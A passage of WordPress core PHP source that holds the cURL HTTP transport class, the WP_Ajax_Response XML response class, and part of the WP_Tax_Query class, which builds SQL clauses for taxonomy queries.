 * Requires the Curl extension to be installed.
 *
 * @since 2.7.0
 * @deprecated 6.4.0 Use WP_Http
 * @see WP_Http
 */
#[AllowDynamicProperties]
class WP_Http_Curl {

	/**
	 * Temporary header storage for during requests.
	 *
	 * @since 3.2.0
	 * @var string
	 */
	private $headers = '';

	/**
	 * Temporary body storage for during requests.
	 *
	 * @since 3.6.0
	 * @var string
	 */
	private $body = '';

	/**
	 * The maximum amount of data to receive from the remote server.
	 *
	 * @since 3.6.0
	 * @var int|false
	 */
	private $max_body_length = false;

	/**
	 * The file resource used for streaming to file.
	 *
	 * @since 3.6.0
	 * @var resource|false
	 */
	private $stream_handle = false;

	/**
	 * The total bytes written in the current request.
	 *
	 * @since 4.1.0
	 * @var int
	 */
	private $bytes_written_total = 0;

	/**
	 * Send a HTTP request to a URI using cURL extension.
	 *
	 * @since 2.7.0
	 *
	 * @param string       $url  The request URL.
	 * @param string|array $args Optional. Override the defaults.
	 * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. A WP_Error instance upon error
	 */
	public function request( $url, $args = array() ) {
		$defaults = array(
			'method'      => 'GET',
			'timeout'     => 5,
			'redirection' => 5,
			'httpversion' => '1.0',
			'blocking'    => true,
			'headers'     => array(),
			'body'        => null,
			'cookies'     => array(),
			'decompress'  => false,
			'stream'      => false,
			'filename'    => null,
		);

		$parsed_args = wp_parse_args( $args, $defaults );

		if ( isset( $parsed_args['headers']['User-Agent'] ) ) {
			$parsed_args['user-agent'] = $parsed_args['headers']['User-Agent'];
			unset( $parsed_args['headers']['User-Agent'] );
		} elseif ( isset( $parsed_args['headers']['user-agent'] ) ) {
			$parsed_args['user-agent'] = $parsed_args['headers']['user-agent'];
			unset( $parsed_args['headers']['user-agent'] );
		}

		// Construct Cookie: header if any cookies are set.
		WP_Http::buildCookieHeader( $parsed_args );

		$handle = curl_init();

		// cURL offers really easy proxy support.
		$proxy = new WP_HTTP_Proxy();

		if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) {

			curl_setopt( $handle, CURLOPT_PROXYTYPE, CURLPROXY_HTTP );
			curl_setopt( $handle, CURLOPT_PROXY, $proxy->host() );
			curl_setopt( $handle, CURLOPT_PROXYPORT, $proxy->port() );

			if ( $proxy->use_authentication() ) {
				curl_setopt( $handle, CURLOPT_PROXYAUTH, CURLAUTH_ANY );
				curl_setopt( $handle, CURLOPT_PROXYUSERPWD, $proxy->authentication() );
			}
		}

		$is_local   = isset( $parsed_args['local'] ) && $parsed_args['local'];
		$ssl_verify = isset( $parsed_args['sslverify'] ) && $parsed_args['sslverify'];
		if ( $is_local ) {
			/** This filter is documented in wp-includes/class-wp-http-streams.php */
			$ssl_verify = apply_filters( 'https_local_ssl_verify', $ssl_verify, $url );
		} elseif ( ! $is_local ) {
			/** This filter is documented in wp-includes/class-wp-http.php */
			$ssl_verify = apply_filters( 'https_ssl_verify', $ssl_verify, $url );
		}

		/*
		 * CURLOPT_TIMEOUT and CURLOPT_CONNECTTIMEOUT expect integers. Have to use ceil since.
		 * a value of 0 will allow an unlimited timeout.
		 */
		$timeout = (int) ceil( $parsed_args['timeout'] );
		curl_setopt( $handle, CURLOPT_CONNECTTIMEOUT, $timeout );
		curl_setopt( $handle, CURLOPT_TIMEOUT, $timeout );

		curl_setopt( $handle, CURLOPT_URL, $url );
		curl_setopt( $handle, CURLOPT_RETURNTRANSFER, true );
		curl_setopt( $handle, CURLOPT_SSL_VERIFYHOST, ( true === $ssl_verify ) ? 2 : false );
		curl_setopt( $handle, CURLOPT_SSL_VERIFYPEER, $ssl_verify );

		if ( $ssl_verify ) {
			curl_setopt( $handle, CURLOPT_CAINFO, $parsed_args['sslcertificates'] );
		}

		curl_setopt( $handle, CURLOPT_USERAGENT, $parsed_args['user-agent'] );

		/*
		 * The option doesn't work with safe mode or when open_basedir is set, and there's
		 * a bug #17490 with redirected POST requests, so handle redirections outside Curl.
		 */
		curl_setopt( $handle, CURLOPT_FOLLOWLOCATION, false );
		curl_setopt( $handle, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS );

		switch ( $parsed_args['method'] ) {
			case 'HEAD':
				curl_setopt( $handle, CURLOPT_NOBODY, true );
				break;
			case 'POST':
				curl_setopt( $handle, CURLOPT_POST, true );
				curl_setopt( $handle, CURLOPT_POSTFIELDS, $parsed_args['body'] );
				break;
			case 'PUT':
				curl_setopt( $handle, CURLOPT_CUSTOMREQUEST, 'PUT' );
				curl_setopt( $handle, CURLOPT_POSTFIELDS, $parsed_args['body'] );
				break;
			default:
				curl_setopt( $handle, CURLOPT_CUSTOMREQUEST, $parsed_args['method'] );
				if ( ! is_null( $parsed_args['body'] ) ) {
					curl_setopt( $handle, CURLOPT_POSTFIELDS, $parsed_args['body'] );
				}
				break;
		}

		if ( true === $parsed_args['blocking'] ) {
			curl_setopt( $handle, CURLOPT_HEADERFUNCTION, array( $this, 'stream_headers' ) );
			curl_setopt( $handle, CURLOPT_WRITEFUNCTION, array( $this, 'stream_body' ) );
		}

		curl_setopt( $handle, CURLOPT_HEADER, false );

		if ( isset( $parsed_args['limit_response_size'] ) ) {
			$this->max_body_length = (int) $parsed_args['limit_response_size'];
		} else {
			$this->max_body_length = false;
		}

		// If streaming to a file open a file handle, and setup our curl streaming handler.
		if ( $parsed_args['stream'] ) {
			if ( ! WP_DEBUG ) {
				$this->stream_handle = @fopen( $parsed_args['filename'], 'w+' );
			} else {
				$this->stream_handle = fopen( $parsed_args['filename'], 'w+' );
			}
			if ( ! $this->stream_handle ) {
				return new WP_Error(
					'http_request_failed',
					sprintf(
						/* translators: 1: fopen(), 2: File name. */
						__( 'Could not open handle for %1$s to %2$s.' ),
						'fopen()',
						$parsed_args['filename']
					)
				);
			}
		} else {
			$this->stream_handle = false;
		}

		if ( ! empty( $parsed_args['headers'] ) ) {
			// cURL expects full header strings in each element.
			$headers = array();
			foreach ( $parsed_args['headers'] as $name => $value ) {
				$headers[] = "{$name}: $value";
			}
			curl_setopt( $handle, CURLOPT_HTTPHEADER, $headers );
		}

		if ( '1.0' === $parsed_args['httpversion'] ) {
			curl_setopt( $handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0 );
		} else {
			curl_setopt( $handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1 );
		}

		/**
		 * Fires before the cURL request is executed.
		 *
		 * Cookies are not currently handled by the HTTP API. This action allows
		 * plugins to handle cookies themselves.
		 *
		 * @since 2.8.0
		 *
		 * @param resource $handle      The cURL handle returned by curl_init() (passed by reference).
		 * @param array    $parsed_args The HTTP request arguments.
		 * @param string   $url         The request URL.
		 */
		do_action_ref_array( 'http_api_curl', array( &$handle, $parsed_args, $url ) );

		// We don't need to return the body, so don't. Just execute request and return.
		if ( ! $parsed_args['blocking'] ) {
			curl_exec( $handle );

			$curl_error = curl_error( $handle );
			if ( $curl_error ) {
				curl_close( $handle );
				return new WP_Error( 'http_request_failed', $curl_error );
			}
			if ( in_array( curl_getinfo( $handle, CURLINFO_HTTP_CODE ), array( 301, 302 ), true ) ) {
				curl_close( $handle );
				return new WP_Error( 'http_request_failed', __( 'Too many redirects.' ) );
			}

			curl_close( $handle );
			return array(
				'headers'  => array(),
				'body'     => '',
				'response' => array(
					'code'    => false,
					'message' => false,
				),
				'cookies'  => array(),
			);
		}

		curl_exec( $handle );

		$processed_headers   = WP_Http::processHeaders( $this->headers, $url );
		$body                = $this->body;
		$bytes_written_total = $this->bytes_written_total;

		$this->headers             = '';
		$this->body                = '';
		$this->bytes_written_total = 0;

		$curl_error = curl_errno( $handle );

		// If an error occurred, or, no response.
		if ( $curl_error || ( 0 === strlen( $body ) && empty( $processed_headers['headers'] ) ) ) {
			if ( CURLE_WRITE_ERROR /* 23 */ === $curl_error ) {
				if ( ! $this->max_body_length || $this->max_body_length !== $bytes_written_total ) {
					if ( $parsed_args['stream'] ) {
						curl_close( $handle );
						fclose( $this->stream_handle );
						return new WP_Error( 'http_request_failed', __( 'Failed to write request to temporary file.' ) );
					} else {
						curl_close( $handle );
						return new WP_Error( 'http_request_failed', curl_error( $handle ) );
					}
				}
			} else {
				$curl_error = curl_error( $handle );
				if ( $curl_error ) {
					curl_close( $handle );
					return new WP_Error( 'http_request_failed', $curl_error );
				}
			}
			if ( in_array( curl_getinfo( $handle, CURLINFO_HTTP_CODE ), array( 301, 302 ), true ) ) {
				curl_close( $handle );
				return new WP_Error( 'http_request_failed', __( 'Too many redirects.' ) );
			}
		}

		curl_close( $handle );

		if ( $parsed_args['stream'] ) {
			fclose( $this->stream_handle );
		}

		$response = array(
			'headers'  => $processed_headers['headers'],
			'body'     => null,
			'response' => $processed_headers['response'],
			'cookies'  => $processed_headers['cookies'],
			'filename' => $parsed_args['filename'],
		);

		// Handle redirects.
		$redirect_response = WP_Http::handle_redirects( $url, $parsed_args, $response );
		if ( false !== $redirect_response ) {
			return $redirect_response;
		}

		if ( true === $parsed_args['decompress']
			&& true === WP_Http_Encoding::should_decode( $processed_headers['headers'] )
		) {
			$body = WP_Http_Encoding::decompress( $body );
		}

		$response['body'] = $body;

		return $response;
	}

	/**
	 * Grabs the headers of the cURL request.
	 *
	 * Each header is sent individually to this callback, and is appended to the `$header` property
	 * for temporary storage.
	 *
	 * @since 3.2.0
	 *
	 * @param resource $handle  cURL handle.
	 * @param string   $headers cURL request headers.
	 * @return int Length of the request headers.
	 */
	private function stream_headers( $handle, $headers ) {
		$this->headers .= $headers;
		return strlen( $headers );
	}

	/**
	 * Grabs the body of the cURL request.
	 *
	 * The contents of the document are passed in chunks, and are appended to the `$body`
	 * property for temporary storage. Returning a length shorter than the length of
	 * `$data` passed in will cause cURL to abort the request with `CURLE_WRITE_ERROR`.
	 *
	 * @since 3.6.0
	 *
	 * @param resource $handle cURL handle.
	 * @param string   $data   cURL request body.
	 * @return int Total bytes of data written.
	 */
	private function stream_body( $handle, $data ) {
		$data_length = strlen( $data );

		if ( $this->max_body_length && ( $this->bytes_written_total + $data_length ) > $this->max_body_length ) {
			$data_length = ( $this->max_body_length - $this->bytes_written_total );
			$data        = substr( $data, 0, $data_length );
		}

		if ( $this->stream_handle ) {
			$bytes_written = fwrite( $this->stream_handle, $data );
		} else {
			$this->body   .= $data;
			$bytes_written = $data_length;
		}

		$this->bytes_written_total += $bytes_written;

		// Upon event of this function returning less than strlen( $data ) curl will error with CURLE_WRITE_ERROR.
		return $bytes_written;
	}

	/**
	 * Determines whether this class can be used for retrieving a URL.
	 *
	 * @since 2.7.0
	 *
	 * @param array $args Optional. Array of request arguments. Default empty array.
	 * @return bool False means this class can not be used, true means it can.
	 */
	public static function test( $args = array() ) {
		if ( ! function_exists( 'curl_init' ) || ! function_exists( 'curl_exec' ) ) {
			return false;
		}

		$is_ssl = isset( $args['ssl'] ) && $args['ssl'];

		if ( $is_ssl ) {
			$curl_version = curl_version();
			// Check whether this cURL version support SSL requests.
			if ( ! ( CURL_VERSION_SSL & $curl_version['features'] ) ) {
				return false;
			}
		}

		/**
		 * Filters whether cURL can be used as a transport for retrieving a URL.
		 *
		 * @since 2.7.0
		 *
		 * @param bool  $use_class Whether the class can be used. Default true.
		 * @param array $args      An array of request arguments.
		 */
		return apply_filters( 'use_curl_transport', true, $args );
	}
}
<?php
/**
 * Send XML response back to Ajax request.
 *
 * @package WordPress
 * @since 2.1.0
 */
#[AllowDynamicProperties]
class WP_Ajax_Response {
	/**
	 * Store XML responses to send.
	 *
	 * @since 2.1.0
	 * @var array
	 */
	public $responses = array();

	/**
	 * Constructor - Passes args to WP_Ajax_Response::add().
	 *
	 * @since 2.1.0
	 *
	 * @see WP_Ajax_Response::add()
	 *
	 * @param string|array $args Optional. Will be passed to add() method.
	 */
	public function __construct( $args = '' ) {
		if ( ! empty( $args ) ) {
			$this->add( $args );
		}
	}

	/**
	 * Appends data to an XML response based on given arguments.
	 *
	 * With `$args` defaults, extra data output would be:
	 *
	 *     <response action='{$action}_$id'>
	 *      <$what id='$id' position='$position'>
	 *          <response_data><![CDATA[$data]]></response_data>
	 *      </$what>
	 *     </response>
	 *
	 * @since 2.1.0
	 *
	 * @param string|array $args {
	 *     Optional. An array or string of XML response arguments.
	 *
	 *     @type string          $what         XML-RPC response type. Used as a child element of `<response>`.
	 *                                         Default 'object' (`<object>`).
	 *     @type string|false    $action       Value to use for the `action` attribute in `<response>`. Will be
	 *                                         appended with `_$id` on output. If false, `$action` will default to
	 *                                         the value of `$_POST['action']`. Default false.
	 *     @type int|WP_Error    $id           The response ID, used as the response type `id` attribute. Also
	 *                                         accepts a `WP_Error` object if the ID does not exist. Default 0.
	 *     @type int|false       $old_id       The previous response ID. Used as the value for the response type
	 *                                         `old_id` attribute. False hides the attribute. Default false.
	 *     @type string          $position     Value of the response type `position` attribute. Accepts 1 (bottom),
	 *                                         -1 (top), HTML ID (after), or -HTML ID (before). Default 1 (bottom).
	 *     @type string|WP_Error $data         The response content/message. Also accepts a WP_Error object if the
	 *                                         ID does not exist. Default empty.
	 *     @type array           $supplemental An array of extra strings that will be output within a `<supplemental>`
	 *                                         element as CDATA. Default empty array.
	 * }
	 * @return string XML response.
	 */
	public function add( $args = '' ) {
		$defaults = array(
			'what'         => 'object',
			'action'       => false,
			'id'           => '0',
			'old_id'       => false,
			'position'     => 1,
			'data'         => '',
			'supplemental' => array(),
		);

		$parsed_args = wp_parse_args( $args, $defaults );

		$position = preg_replace( '/[^a-z0-9:_-]/i', '', $parsed_args['position'] );
		$id       = $parsed_args['id'];
		$what     = $parsed_args['what'];
		$action   = $parsed_args['action'];
		$old_id   = $parsed_args['old_id'];
		$data     = $parsed_args['data'];

		if ( is_wp_error( $id ) ) {
			$data = $id;
			$id   = 0;
		}

		$response = '';
		if ( is_wp_error( $data ) ) {
			foreach ( (array) $data->get_error_codes() as $code ) {
				$response  .= "<wp_error code='$code'><![CDATA[" . $data->get_error_message( $code ) . ']]></wp_error>';
				$error_data = $data->get_error_data( $code );
				if ( ! $error_data ) {
					continue;
				}
				$class = '';
				if ( is_object( $error_data ) ) {
					$class      = ' class="' . get_class( $error_data ) . '"';
					$error_data = get_object_vars( $error_data );
				}

				$response .= "<wp_error_data code='$code'$class>";

				if ( is_scalar( $error_data ) ) {
					$response .= "<![CDATA[$error_data]]>";
				} elseif ( is_array( $error_data ) ) {
					foreach ( $error_data as $k => $v ) {
						$response .= "<$k><![CDATA[$v]]></$k>";
					}
				}

				$response .= '</wp_error_data>';
			}
		} else {
			$response = "<response_data><![CDATA[$data]]></response_data>";
		}

		$s = '';
		if ( is_array( $parsed_args['supplemental'] ) ) {
			foreach ( $parsed_args['supplemental'] as $k => $v ) {
				$s .= "<$k><![CDATA[$v]]></$k>";
			}
			$s = "<supplemental>$s</supplemental>";
		}

		if ( false === $action ) {
			$action = $_POST['action'];
		}
		$x  = '';
		$x .= "<response action='{$action}_$id'>"; // The action attribute in the xml output is formatted like a nonce action.
		$x .= "<$what id='$id' " . ( false === $old_id ? '' : "old_id='$old_id' " ) . "position='$position'>";
		$x .= $response;
		$x .= $s;
		$x .= "</$what>";
		$x .= '</response>';

		$this->responses[] = $x;
		return $x;
	}

	/**
	 * Display XML formatted responses.
	 *
	 * Sets the content type header to text/xml.
	 *
	 * @since 2.1.0
	 */
	public function send() {
		header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ) );
		echo "<?xml version='1.0' encoding='" . get_option( 'blog_charset' ) . "' standalone='yes'?><wp_ajax>";
		foreach ( (array) $this->responses as $response ) {
			echo $response;
		}
		echo '</wp_ajax>';
		if ( wp_doing_ajax() ) {
			wp_die();
		} else {
			die();
		}
	}
}
<?php
/**
 * Taxonomy API: WP_Tax_Query class
 *
 * @package WordPress
 * @subpackage Taxonomy
 * @since 4.4.0
 */

/**
 * Core class used to implement taxonomy queries for the Taxonomy API.
 *
 * Used for generating SQL clauses that filter a primary query according to object
 * taxonomy terms.
 *
 * WP_Tax_Query is a helper that allows primary query classes, such as WP_Query, to filter
 * their results by object metadata, by generating `JOIN` and `WHERE` subclauses to be
 * attached to the primary SQL query string.
 *
 * @since 3.1.0
 */
#[AllowDynamicProperties]
class WP_Tax_Query {

	/**
	 * Array of taxonomy queries.
	 *
	 * See WP_Tax_Query::__construct() for information on tax query arguments.
	 *
	 * @since 3.1.0
	 * @var array
	 */
	public $queries = array();

	/**
	 * The relation between the queries. Can be one of 'AND' or 'OR'.
	 *
	 * @since 3.1.0
	 * @var string
	 */
	public $relation;

	/**
	 * Standard response when the query should not return any rows.
	 *
	 * @since 3.2.0
	 * @var string
	 */
	private static $no_results = array(
		'join'  => array( '' ),
		'where' => array( '0 = 1' ),
	);

	/**
	 * A flat list of table aliases used in the JOIN clauses.
	 *
	 * @since 4.1.0
	 * @var array
	 */
	protected $table_aliases = array();

	/**
	 * Terms and taxonomies fetched by this query.
	 *
	 * We store this data in a flat array because they are referenced in a
	 * number of places by WP_Query.
	 *
	 * @since 4.1.0
	 * @var array
	 */
	public $queried_terms = array();

	/**
	 * Database table that where the metadata's objects are stored (eg $wpdb->users).
	 *
	 * @since 4.1.0
	 * @var string
	 */
	public $primary_table;

	/**
	 * Column in 'primary_table' that represents the ID of the object.
	 *
	 * @since 4.1.0
	 * @var string
	 */
	public $primary_id_column;

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 * @since 4.1.0 Added support for `$operator` 'NOT EXISTS' and 'EXISTS' values.
	 *
	 * @param array $tax_query {
	 *     Array of taxonomy query clauses.
	 *
	 *     @type string $relation Optional. The MySQL keyword used to join
	 *                            the clauses of the query. Accepts 'AND', or 'OR'. Default 'AND'.
	 *     @type array  ...$0 {
	 *         An array of first-order clause parameters, or another fully-formed tax query.
	 *
	 *         @type string           $taxonomy         Taxonomy being queried. Optional when field=term_taxonomy_id.
	 *         @type string|int|array $terms            Term or terms to filter by.
	 *         @type string           $field            Field to match $terms against. Accepts 'term_id', 'slug',
	 *                                                 'name', or 'term_taxonomy_id'. Default: 'term_id'.
	 *         @type string           $operator         MySQL operator to be used with $terms in the WHERE clause.
	 *                                                  Accepts 'AND', 'IN', 'NOT IN', 'EXISTS', 'NOT EXISTS'.
	 *                                                  Default: 'IN'.
	 *         @type bool             $include_children Optional. Whether to include child terms.
	 *                                                  Requires a $taxonomy. Default: true.
	 *     }
	 * }
	 */
	public function __construct( $tax_query ) {
		if ( isset( $tax_query['relation'] ) ) {
			$this->relation = $this->sanitize_relation( $tax_query['relation'] );
		} else {
			$this->relation = 'AND';
		}

		$this->queries = $this->sanitize_query( $tax_query );
	}

	/**
	 * Ensures the 'tax_query' argument passed to the class constructor is well-formed.
	 *
	 * Ensures that each query-level clause has a 'relation' key, and that
	 * each first-order clause contains all the necessary keys from `$defaults`.
	 *
	 * @since 4.1.0
	 *
	 * @param array $queries Array of queries clauses.
	 * @return array Sanitized array of query clauses.
	 */
	public function sanitize_query( $queries ) {
		$cleaned_query = array();

		$defaults = array(
			'taxonomy'         => '',
			'terms'            => array(),
			'field'            => 'term_id',
			'operator'         => 'IN',
			'include_children' => true,
		);

		foreach ( $queries as $key => $query ) {
			if ( 'relation' === $key ) {
				$cleaned_query['relation'] = $this->sanitize_relation( $query );

				// First-order clause.
			} elseif ( self::is_first_order_clause( $query ) ) {

				$cleaned_clause          = array_merge( $defaults, $query );
				$cleaned_clause['terms'] = (array) $cleaned_clause['terms'];
				$cleaned_query[]         = $cleaned_clause;

				/*
				 * Keep a copy of the clause in the flate
				 * $queried_terms array, for use in WP_Query.
				 */
				if ( ! empty( $cleaned_clause['taxonomy'] ) && 'NOT IN' !== $cleaned_clause['operator'] ) {
					$taxonomy = $cleaned_clause['taxonomy'];
					if ( ! isset( $this->queried_terms[ $taxonomy ] ) ) {
						$this->queried_terms[ $taxonomy ] = array();
					}

					/*
					 * Backward compatibility: Only store the first
					 * 'terms' and 'field' found for a given taxonomy.
					 */
					if ( ! empty( $cleaned_clause['terms'] ) && ! isset( $this->queried_terms[ $taxonomy ]['terms'] ) ) {
						$this->queried_terms[ $taxonomy ]['terms'] = $cleaned_clause['terms'];
					}

					if ( ! empty( $cleaned_clause['field'] ) && ! isset( $this->queried_terms[ $taxonomy ]['field'] ) ) {
						$this->queried_terms[ $taxonomy ]['field'] = $cleaned_clause['field'];
					}
				}

				// Otherwise, it's a nested query, so we recurse.
			} elseif ( is_array( $query ) ) {
				$cleaned_subquery = $this->sanitize_query( $query );

				if ( ! empty( $cleaned_subquery ) ) {
					// All queries with children must have a relation.
					if ( ! isset( $cleaned_subquery['relation'] ) ) {
						$cleaned_subquery['relation'] = 'AND';
					}

					$cleaned_query[] = $cleaned_subquery;
				}
			}
		}

		return $cleaned_query;
	}

	/**
	 * Sanitizes a 'relation' operator.
	 *
	 * @since 4.1.0
	 *
	 * @param string $relation Raw relation key from the query argument.
	 * @return string Sanitized relation. Either 'AND' or 'OR'.
	 */
	public function sanitize_relation( $relation ) {
		if ( 'OR' === strtoupper( $relation ) ) {
			return 'OR';
		} else {
			return 'AND';
		}
	}

	/**
	 * Determines whether a clause is first-order.
	 *
	 * A "first-order" clause is one that contains any of the first-order
	 * clause keys ('terms', 'taxonomy', 'include_children', 'field',
	 * 'operator'). An empty clause also counts as a first-order clause,
	 * for backward compatibility. Any clause that doesn't meet this is
	 * determined, by process of elimination, to be a higher-order query.
	 *
	 * @since 4.1.0
	 *
	 * @param array $query Tax query arguments.
	 * @return bool Whether the query clause is a first-order clause.
	 */
	protected static function is_first_order_clause( $query ) {
		return is_array( $query ) && ( empty( $query ) || array_key_exists( 'terms', $query ) || array_key_exists( 'taxonomy', $query ) || array_key_exists( 'include_children', $query ) || array_key_exists( 'field', $query ) || array_key_exists( 'operator', $query ) );
	}

	/**
	 * Generates SQL clauses to be appended to a main query.
	 *
	 * @since 3.1.0
	 *
	 * @param string $primary_table     Database table where the object being filtered is stored (eg wp_users).
	 * @param string $primary_id_column ID column for the filtered object in $primary_table.
	 * @return string[] {
	 *     Array containing JOIN and WHERE SQL clauses to append to the main query.
	 *
	 *     @type string $join  SQL fragment to append to the main JOIN clause.
	 *     @type string $where SQL fragment to append to the main WHERE clause.
	 * }
	 */
	public function get_sql( $primary_table, $primary_id_column ) {
		$this->primary_table     = $primary_table;
		$this->primary_id_column = $primary_id_column;

		return $this->get_sql_clauses();
	}

	/**
	 * Generates SQL clauses to be appended to a main query.
	 *
	 * Called by the public WP_Tax_Query::get_sql(), this method
	 * is abstracted out to maintain parity with the other Query classes.
	 *
	 * @since 4.1.0
	 *
	 * @return string[] {
	 *     Array containing JOIN and WHERE SQL clauses to append to the main query.
	 *
	 *     @type string $join  SQL fragment to append to the main JOIN clause.
	 *     @type string $where SQL fragment to append to the main WHERE clause.
	 * }
	 */
	protected function get_sql_clauses() {
		/*
		 * $queries are passed by reference to get_sql_for_query() for recursion.
		 * To keep $this->queries unaltered, pass a copy.
		 */
		$queries = $this->queries;
		$sql     = $this->get_sql_for_query( $queries );

		if ( ! empty( $sql['where'] ) ) {
			$sql['where'] = ' AND ' . $sql['where'];
		}

		return $sql;
	}

	/**
	 * Generates SQL clauses for a single query array.
	 *
	 * If nested subqueries are found, this method recurses the tree to
	 * produce the properly nested SQL.
	 *
	 * @since 4.1.0
	 *
	 * @param array $query Query to parse (passed by reference).
	 * @param int   $depth Optional. Number of tree levels deep we currently are.
	 *                     Used to calculate indentation. Default 0.
	 * @return string[] {
	 *     Array containing JOIN and WHERE SQL clauses to append to a single query array.
	 *
	 *     @type string $join  SQL fragment to append to the main JOIN clause.
	 *     @type string $where SQL fragment to append to the main WHERE clause.
	 * }
	 */
	protected function get_sql_for_query( &$query, $depth = 0 ) {
		$sql_chunks = array(
			'join'  => array(),
			'where' => array(),
		);

		$sql = array(
			'join'  => '',
			'where' => '',
		);

		$indent = '';
		for ( $i = 0; $i < $depth; $i++ ) {
			$indent .= '  ';
		}

		foreach ( $query as $key => &$clause ) {
			if ( 'relation' === $key ) {
				$relation = $query['relation'];
			} elseif ( is_array( $clause ) ) {

				// This is a first-order clause.
				if ( $this->is_first_order_clause( $clause ) ) {
					$clause_sql = $this->get_sql_for_clause( $clause, $query );

					$where_count = count( $clause_sql['where'] );
					if ( ! $where_count ) {
						$sql_chunks['where'][] = '';
					} elseif ( 1 === $where_count ) {
						$sql_chunks['where'][] = $clause_sql['where'][0];
					} else {
						$sql_chunks['where'][] = '( ' . implode( ' AND ', $clause_sql['where'] ) . ' )';
					}

					$sql_chunks['join'] = array_merge( $sql_chunks['join'], $clause_sql['join'] );
					// This is a subquery, so we recurse.
				} else {
					$clause_sql = $this->get_sql_for_query( $clause, $depth + 1 );

					$sql_chunks['where'][] = $clause_sql['where'];
					$sql_chunks['join'][]  = $clause_sql['join'];
				}
			}
		}

		// Filter to remove empties.
		$sql_chunks['join']  = array_filter( $sql_chunks['join'] );
		$sql_chunks['where'] = array_filter( $sql_chunks['where'] );

		if ( empty( $relation ) ) {
			$relation = 'AND';
		}

		// Filter duplicate JOIN clauses and combine into a single string.
		if ( ! empty( $sql_chunks['join'] ) ) {
			$sql['join'] = implode( ' ', array_unique( $sql_chunks['join'] ) );
		}

		// Generate a single WHERE clause with proper brackets and indentation.
		if ( ! empty( $sql_chunks['where'] ) ) {
			$sql['where'] = '( ' . "\n  " . $indent . implode( ' ' . "\n  " . $indent . $relation . ' ' . "\n  " . $indent, $sql_chunks['where'] ) . "\n" . $indent . ')';
		}

		return $sql;
	}

	/**
	 * Generates SQL JOIN and WHERE clauses for a "first-order" query clause.
	 *
	 * @since 4.1.0
	 *
	 * @global wpdb $wpdb The WordPress database abstraction object.
	 *
	 * @param array $clause       Query clause (passed by reference).
	 * @param array $parent_query Parent query array.
	 * @return array {
	 *     Array containing JOIN and WHERE SQL clauses to append to a first-order query.
	 *
	 *     @type string[] $join  Array of SQL fragments to append to the main JOIN clause.
	 *     @type string[] $where Array of SQL fragments to append to the main WHERE clause.
	 * }
	 */
	public function get_sql_for_clause( &$clause, $parent_query ) {
		global $wpdb;

		$sql = array(
			'where' => array(),
			'join'  => array(),
		);

		$join  = '';
		$where = '';

		$this->clean_query( $clause );

		if ( is_wp_error( $clause ) ) {
			return self::$no_results;
		}

		$terms    = $clause['terms'];
		$operator = strtoupper( $clause['operator'] );

		if ( 'IN' === $operator ) {

			if ( empty( $terms ) ) {
				return self::$no_results;
			}

			$terms = implode( ',', $terms );

			/*
			 * Before creating another table join, see if this clause has a
			 * sibling with an existing join that can be shared.
			 */
			$alias = $this->find_compatible_table_alias( $clause, $parent_query );
			if ( false === $alias ) {
				$i     = count( $this->table_aliases );
				$alias = $i ? 'tt' . $i : $wpdb->term_relationships;

				// Store the alias as part of a flat array to build future iterators.
				$this->table_aliases[] = $alias;

				// Store the alias with this clause, so later siblings can use it.
				$clause['alias'] = $alias;

				$join .= " LEFT JOIN $wpdb->term_relationships";
				$join .= $i ? " AS $alias" : '';
				$join .= " ON ($this->primary_table.$this->primary_id_column = $alias.object_id)";
			}

			$where = "$alias.term_taxonomy_id $operator ($terms)";

		} elseif ( 'NOT IN' === $operator ) {

			if ( empty( $terms ) ) {
				return $sql;
			}

			$terms = implode( ',', $terms );

			$where = "$this->primary_table.$this->primary_id_column NOT IN (
				SELECT object_id
				FROM $wpdb->term_relationships
				WHERE term_taxonomy_id IN ($terms)
			)";

		} elseif ( 'AND' === $operator ) {

			if ( empty( $terms ) ) {
				return $sql;
			}

			$num_terms = count( $terms );

			$terms = implode( ',', $terms );

			$where = "(
				SELECT COUNT(1)
				FROM $wpdb->term_relationships
				WHERE term_taxonomy_id IN ($terms)
				AND object_id = $this->primary_table.$this->primary_id_column
			) = $num_terms";

		} elseif ( 'NOT EXISTS' === $operator || 'EXISTS' === $operator ) {

			$where = $wpdb->prepare(
				"$operator (
					SELECT 1
					FROM $wpdb->term_relationships
					INNER JOIN $wpdb->term_taxonomy
					ON $wpdb->term_taxonomy.term_taxonomy_id = $wpdb->term_relationships.term_taxonomy_id
					WHERE $wpdb->term_taxonomy.taxonomy = %s
					AND $wpdb->term_relationships.object_id = $this->primary_table.$this->primary_id_column
				)",
				$clause['taxonomy']
			);

		}

		$sql['join'][]  = $join;
		$sql['where'][] = $where;
		return $sql;
	}

	/**
	 * Identifies an existing table alias that is compatible with the current query clause.
	 *
	 * We avoid unnecessary table joins by allowing each clause to look for
	 * an existing table alias that is compatible with the query that it
	 * needs to perform.
	 *
	 * An existing alias is compatible if (a) it is a sibling of `$clause`
	 * (ie, it's under the scope of the same relation), and (b) the combination
	 * of operator and relation between the clauses allows for a shared table
	 * join. In the case of WP_Tax_Query, this only applies to 'IN'
	 * clauses that are connected by the relation 'OR'.
	 *
	 * @since 4.1.0
	 *
	 * @param array $clause       Query clause.
	 * @param array $parent_query Parent query of $clause.
	 * @return string|false Table alias if found, otherwise false.
	 */
	protected function find_compatible_table_alias( $clause, $parent_query ) {
		$alias = false;

		// Confidence check. Only IN queries use the JOIN syntax.
		if ( ! isset( $clause['operator'] ) || 'IN' !== $clause['operator'] ) {
			return $alias;
		}

		// Since we're only checking IN queries, we're only concerned with OR relations.
		if ( ! isset( $parent_query['relation'] ) || 'OR' !== $parent_query['relation'] ) {
			return $alias;
		}

		$compatible_operators = array( 'IN' );

		foreach ( $parent_query as $sibling ) {
			if ( ! is_array( $sibling ) || ! $this->is_first_order_clause( $sibling ) ) {
				continue;
			}

			if ( empty( $sibling['alias'] ) || empty( $sibling['operator'] ) ) {
				continue;
			}

			// The sibling must both have compatible operator to share its alias.
			if ( in_array( strtoupper( $sibling['operator'] ), $compatible_operators, true ) ) {
				$alias = preg_replace( '/\W/', '_', $sibling['alias'] );
				break;
			}
		}

		return $alias;
	}

	/**
	 * Validates a single query.
	 *
	 * @since 3.2.0
	 *
